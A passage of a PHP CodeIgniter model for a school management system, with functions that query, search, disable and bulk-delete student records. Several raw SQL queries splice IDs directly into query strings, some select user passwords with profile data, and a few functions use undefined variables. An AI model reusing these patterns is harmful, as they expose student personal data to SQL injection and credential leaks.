classes.id")->join("sections", "student_session.section_id = sections.id")->join("sessions", "student_session.session_id = sessions.id")->group_by("students.id")->get("students"); return $query->result_array(); } public function studentSessionDetails($id) { $query = $this->db->query("SELECT min(sessions.session) as start , max(sessions.session) as end, min(classes.class) as startclass, max(classes.class) as endclass from sessions join student_session on (sessions.id = student_session.session_id) join classes on (classes.id = student_session.class_id) where student_session.student_id = " . $id); return $query->row_array(); } public function searchAdmissionDetails($class_id, $year) { if (!empty($year)) { $data = array('year(admission_date)' => $year, 'student_session.class_id' => $class_id); } else { $data = array('student_session.class_id' => $class_id); } $query = $this->db->SELECT("students.firstname,students.lastname,students.is_active, students.mobileno, students.id as sid ,students.admission_no, students.admission_date, students.guardian_name, students.guardian_relation, students.guardian_phone, classes.class, sessions.id, sections.section")->join("student_session", "students.id = student_session.student_id")->join("classes", "student_session.class_id = classes.id")->join("sections", "student_session.section_id = sections.id")->join("sessions", "student_session.session_id = sessions.id")->where($data)->group_by("students.id")->get("students"); return $query->result_array(); } public function admissionYear() { $query = $this->db->SELECT("distinct(year(admission_date)) as year")->where_not_in('admission_date', array('0000-00-00', '1970-01-01'))->get("students"); return $query->result_array(); } public function getStudentSession($id) { $query = $this->db->query("SELECT max(sessions.id) as student_session_id, max(sessions.session) as session from sessions join student_session on (sessions.id = student_session.session_id) where student_session.student_id = " . $id); return $query->row_array(); } public function valid_student_roll() { $roll_no = $this->input->post('roll_no'); $student_id = $this->input->post('studentid'); $class = $this->input->post('class_id'); if ($roll_no != "") { if (!isset($student_id)) { $student_id = 0; } if ($this->check_rollno_exists($roll_no, $student_id, $class)) { $this->form_validation->set_message('check_exists', 'Roll Number should be unique at Class level'); return false; } else { return true; } } return true; } public function check_rollno_exists($roll_no, $student_id, $class) { if ($student_id != 0) { $data = array('students.id != ' => $student_id, 'student_session.class_id' => $class, 'students.roll_no' => $roll_no); $query = $this->db->where($data)->join("student_session", "students.id = student_session.student_id")->get('students'); if ($query->num_rows() > 0) { return true; } else { return false; } } else { $this->db->where(array('class_id' => $class, 'roll_no' => $roll_no)); $query = $this->db->join("student_session", "students.id = student_session.student_id")->get('students'); // echo $this->db->last_query();die; if ($query->num_rows() > 0) { return true; } else { return false; } } } public function gethouselist() { $query = $this->db->where("is_active", "yes")->get("school_houses"); return $query->result_array(); } public function disableStudent($id, $data) { $this->db->where("id", $id)->update("students", $data); } public function getdisableStudent() { $this->db->select('classes.id AS `class_id`,students.id,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`, students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code ,students.father_name , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.gender,students.rte,student_session.session_id,dis_reason,dis_note')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', 'no'); $this->db->order_by('students.id'); $query = $this->db->get(); return $query->result_array(); } public function disablestudentByClassSection($class, $section) { $this->db->select('classes.id AS `class_id`,student_session.id as student_session_id,students.id,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`,students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.rte,students.gender,dis_reason,dis_note')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', "no"); if ($class != null) { $this->db->where('student_session.class_id', $class); } if ($section != null) { $this->db->where('student_session.section_id', $section); } $this->db->order_by('students.id'); $query = $this->db->get(); return $query->result_array(); } public function disablestudentFullText($searchterm) { $userdata = $this->customlib->getUserData(); $this->db->select('classes.id AS `class_id`,students.id,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`, students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code ,students.father_name , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.gender,students.rte,student_session.session_id,dis_reason,dis_note')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', 'no'); if (($userdata["role_id"] == 2) && ($userdata["class_teacher"] == "yes")) { if (!empty($carray)) { $this->db->where_in("student_session.class_id", $carray); } else { $this->db->where_in("student_session.class_id", ""); } } else { $this->db->group_start(); $this->db->like('students.firstname', $searchterm); $this->db->or_like('students.lastname', $searchterm); $this->db->or_like('students.guardian_name', $searchterm); $this->db->or_like('students.adhar_no', $searchterm); $this->db->or_like('students.samagra_id', $searchterm); $this->db->or_like('students.roll_no', $searchterm); $this->db->or_like('students.admission_no', $searchterm); $this->db->group_end(); } $this->db->order_by('students.id'); $query = $this->db->get(); return $query->result_array(); } public function getClassSection($id) { $query = $this->db->SELECT("*")->join("sections", "class_sections.section_id = sections.id")->where("class_sections.class_id", $id)->get("class_sections"); return $query->result_array(); } public function getStudentClassSection($id, $sessionid) { $query = $this->db->SELECT("students.firstname,students.id,students.lastname,students.image,student_session.section_id")->join("student_session", "students.id = student_session.student_id")->where("student_session.class_id", $id)->where("student_session.session_id", $sessionid)->where("students.is_active", "yes")->get("students"); return $query->result_array(); //SELECT `students`.`firstname`, `students`.`id`, `students`.`lastname`, `students`.`image`, `student_session`.`section_id` FROM `students` JOIN `student_session` ON `students`.`id` = `student_session`.`student_id` WHERE `student_session`.`class_id` = '1' AND `student_session`.`session_id` = '14' AND `students`.`is_active` = 'yes' } public function getStudentsByArray($array) { $i = 1; $custom_fields = $this->customfield_model->get_custom_fields('students'); $field_var_array = array(); if (!empty($custom_fields)) { foreach ($custom_fields as $custom_fields_key => $custom_fields_value) { $tb_counter = "table_custom_" . $i; array_push($field_var_array, 'table_custom_' . $i . '.field_value as ' . $custom_fields_value->name); $this->db->join('custom_field_values as ' . $tb_counter, 'students.id = ' . $tb_counter . '.belong_table_id AND ' . $tb_counter . '.custom_field_id = ' . $custom_fields_value->id, 'left'); $i++; } } $field_variable = implode(',', $field_var_array); $this->db->select('classes.id AS `class_id`,student_session.id as student_session_id,students.id,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address,students.blood_group , students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`,students.adhar_no,students.samagra_id,students.bank_account_no,students.cast,students.bank_name, students.ifsc_code , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.mother_name,students.updated_at,students.father_name,students.rte,students.gender,users.id as `user_tbl_id`,users.username,users.password as `user_tbl_password`,users.is_active as `user_tbl_active`,' . $field_variable)->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->join('users', 'users.user_id = students.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('users.role', 'student'); $this->db->where_in('students.id', $array); $this->db->order_by('students.id'); $query = $this->db->get(); return $query->result(); } public function get_studentsession($student_session_id) { $query = $this->db->select('sessions.session')->join("student_session", "sessions.id = student_session.session_id")->where('student_session.id', $student_session_id)->get("sessions"); return $query->row_array(); } public function check_adm_exists($admission_no) { $this->db->where(array('admission_no' => $admission_no)); $query = $this->db->get('students'); if ($query->num_rows() > 0) { return true; } else { return false; } } public function lastRecord() { $last_row = $this->db->select('*')->order_by('id', "desc")->limit(1)->get('students')->row(); return $last_row; } public function currentClassSectionById($studentid, $schoolsessionId) { return $this->db->select('class_id,section_id')->from('student_session')->where('session_id', $schoolsessionId)->where('student_id', $studentid)->get()->row_array(); } public function reportClassSection($class_id = null, $section_id = null) { $i = 1; $custom_fields = $this->customfield_model->get_custom_fields('students', 1); $field_var_array = array(); if (!empty($custom_fields)) { foreach ($custom_fields as $custom_fields_key => $custom_fields_value) { $tb_counter = "table_custom_" . $i; array_push($field_var_array, 'table_custom_' . $i . '.field_value as ' . $custom_fields_value->name); $this->db->join('custom_field_values as ' . $tb_counter, 'students.id = ' . $tb_counter . '.belong_table_id AND ' . $tb_counter . '.custom_field_id = ' . $custom_fields_value->id, 'left'); $i++; } } $field_variable = implode(',', $field_var_array); $this->db->select('classes.id AS `class_id`,student_session.id as student_session_id,students.id,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`,students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.rte,students.gender,' . $field_variable)->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', "yes"); $this->db->where('student_session.class_id', $class_id); $this->db->where('student_session.section_id', $section_id); $this->db->group_by('students.id'); $this->db->order_by('students.admission_no', 'asc'); $query = $this->db->get(); return $query->result_array(); } public function getAllClassSection($class_id = null, $section_id = null) { $where = array(); if ($class_id != null) { $where['class_id'] = $class_id; } if ($section_id != null) { $where['section_id'] = $section_id; } return $this->db->select('*')->from('class_sections')->join('classes', 'class_sections.class_id=classes.id', 'inner')->join('sections', 'class_sections.section_id=sections.id', 'inner')->where($where)->get()->result_array(); } public function student_profile($condition) { $this->db->select('student_session.transport_fees,students.vehroute_id,vehicle_routes.route_id,vehicle_routes.vehicle_id,transport_route.route_title,vehicles.vehicle_no,hostel_rooms.room_no,vehicles.driver_name,vehicles.driver_contact,hostel.id as `hostel_id`,hostel.hostel_name,room_types.id as `room_type_id`,room_types.room_type ,students.hostel_room_id,student_session.id as `student_session_id`,student_session.fees_discount,classes.id AS `class_id`,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.note, students.religion, students.cast, school_houses.house_name, students.dob ,students.current_address, students.previous_school, students.guardian_is,students.parent_id, students.permanent_address,students.category_id,students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.father_pic ,students.height ,students.weight,students.measurement_date, students.mother_pic , students.guardian_pic , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.father_phone,students.blood_group,students.school_house_id,students.father_occupation,students.mother_name,students.mother_phone,students.mother_occupation,students.guardian_occupation,students.gender,students.guardian_is,students.rte,students.guardian_email, users.username,users.password,students.dis_reason,students.dis_note,category')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('hostel_rooms', 'hostel_rooms.id = students.hostel_room_id', 'left'); $this->db->join('hostel', 'hostel.id = hostel_rooms.hostel_id', 'left'); $this->db->join('room_types', 'room_types.id = hostel_rooms.room_type_id', 'left'); $this->db->join('vehicle_routes', 'vehicle_routes.id = students.vehroute_id', 'left'); $this->db->join('transport_route', 'vehicle_routes.route_id = transport_route.id', 'left'); $this->db->join('vehicles', 'vehicles.id = vehicle_routes.vehicle_id', 'left'); $this->db->join('school_houses', 'school_houses.id = students.school_house_id', 'left'); $this->db->join('users', 'users.user_id = students.id', 'left'); $this->db->join('categories', 'categories.id = students.category_id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('users.role', 'student'); $this->db->where('students.is_active', 'yes'); if ($condition != '') { $this->db->where($condition); } $this->db->order_by('students.id', 'desc'); $query = $this->db->get(); return $query->result_array(); } public function bulkdelete($students) { if (!empty($students)) { $this->db->trans_start(); $student_comma_seprate = implode(', ', $students); //delete from students $this->db->where_in('id', $students); $this->db->delete('students'); //delete from users $this->db->where_in('user_id', $students); $this->db->where_in('role', 'student'); $this->db->delete('users'); //delete from custom_field_value $sql = "DELETE FROM custom_field_values WHERE id IN (select * from (SELECT t2.id as `id` FROM `custom_fields` INNER JOIN custom_field_values as t2 on t2.custom_field_id=custom_fields.id WHERE custom_fields.belong_to='students' and t2.belong_table_id IN (" . implode(', ', $students) . ")) as m2)"; $query = $this->db->query($sql); $sql_parent = "DELETE from users WHERE id in (SELECT id from (SELECT users.*,students.id as `student_id` FROM `users` LEFT JOIN students on users.id= students.parent_id WHERE role ='parent') as a WHERE a.student_id IS NULL)"; $query = $this->db->query($sql_parent); $this->db->trans_complete(); if ($this->db->trans_status() === false) { return false; } else { return true; } } } public function valid_student_admission_no() { $admission_no = $this->input->post('admission_no'); $student_id = $this->input->post('studentid'); if ($admission_no != "") { if (!isset($student_id)) { $student_id = 0; } if ($this->check_admission_no_exists($admission_no, $student_id)) { $this->form_validation->set_message('check_admission_no_exists', 'Admission No Exists'); return false; } else { return true; } } return true; } public function check_admission_no_exists($admission_no, $student_id) { if ($student_id != 0) { $data = array('students.id != ' => $student_id, 'students.admission_no' => $admission_no); $query = $this->db->where($data)->join("student_session", "students.id = student_session.student_id")->get('students'); if ($query->num_rows() > 0) { return true; } else { return false; } } else { $this->db->where(array('class_id' => $class, 'admission_no' => $admission_no)); $query = $this->db->join("student_session", "students.id = student_session.student_id")->get('students'); if ($query->num_rows() > 0) { return true; } else { return false; } } } public function search_alumniStudentReport($class_id = null, $section_id = null, $session_id = null) { $this->db->select('classes.id AS `class_id`,students.id,student_session.id as student_session_id,GROUP_CONCAT(classes.class,"(",sections.section,")") as class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`, students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code ,students.father_name , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.gender,students.rte,student_session.session_id')->from('alumni_students'); $this->db->join('students', 'students.id = alumni_students.student_id'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.is_alumni', 1); $this->db->where('students.is_active', "yes"); if ($class_id != null) { $this->db->where('student_session.class_id', $class_id); } if ($section_id != null) { $this->db->where('student_session.section_id', $section_id); } if ($session_id != null) { $this->db->where('student_session.session_id', $session_id); } $this->db->group_by('students.id'); $this->db->order_by('students.admission_no', 'asc'); $query = $this->db->get(); return $query->result_array(); } public function search_alumniStudentbyAdmissionNoReport($searchterm, $carray) { $userdata = $this->customlib->getUserData(); $staff_id = $userdata['id']; if (($userdata["role_id"] == 2) && ($userdata["class_teacher"] == "yes")) { if (!empty($carray)) { $this->db->where_in("student_session.class_id", $carray); $sections = $this->teacher_model->get_teacherrestricted_modeallsections($staff_id); foreach ($sections as $key => $value) { $sections_id[] = $value['section_id']; } $this->db->where_in("student_session.section_id", $sections_id); } else { $this->db->where_in("student_session.class_id", ""); } } $this->db->select('classes.id AS `class_id`,students.id,student_session.id as student_session_id,GROUP_CONCAT(classes.class,"(",sections.section,")") as class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`, students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code ,students.father_name , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.gender,students.rte,student_session.session_id')->from('alumni_students'); $this->db->join('students', 'students.id = alumni_students.student_id'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', 'yes'); $this->db->where('student_session.is_alumni', '1'); $this->db->group_start(); $this->db->like('students.admission_no', $searchterm); $this->db->group_end(); $this->db->group_by('students.id'); $this->db->order_by('students.id'); $query = $this->db->get(); return $query->result_array(); } public function getParentList() { $sql = "SELECT students.*,users.username,users.password,users.role,users.is_active FROM `students` INNER JOIN users on users.id = students.parent_id WHERE parent_id != 0 GROUP BY parent_id"; $query = $this->db->query($sql); $parents = $query->result(); return $parents; } public function count_classteachers($class_id, $section_id) { // $sql = "SELECT * FROM `subject_timetable` WHERE 1 and `class_id`=".$class_id." and `section_id`=".$section_id." "; // $query = $this->db->query($sql); // $count_classteachers = $query->result(); $sql = "SELECT staff.id FROM `subject_timetable` JOIN `subject_group_subjects` ON `subject_timetable`.`subject_group_subject_id` = `subject_group_subjects`.`id`inner JOIN subjects on subject_group_subjects.subject_id = subjects.id INNER JOIN staff on staff.id=subject_timetable.staff_id WHERE staff.is_active='1' and `subject_timetable`.`class_id` = " . $class_id . " AND `subject_timetable`.`section_id` = " . $section_id . " AND `subject_timetable`.`session_id` = " . $this->current_session; $query = $this->db->query($sql); $count = $query->result(); //echo "
"; print_r($count); echo "
";die;

        $teacher = array();
        if (!empty($count)) {
            foreach ($count as $key => $value) {
                $teacher[$value->id] = $value->id;
            }
        }

        return count($teacher);
        die;
    }

}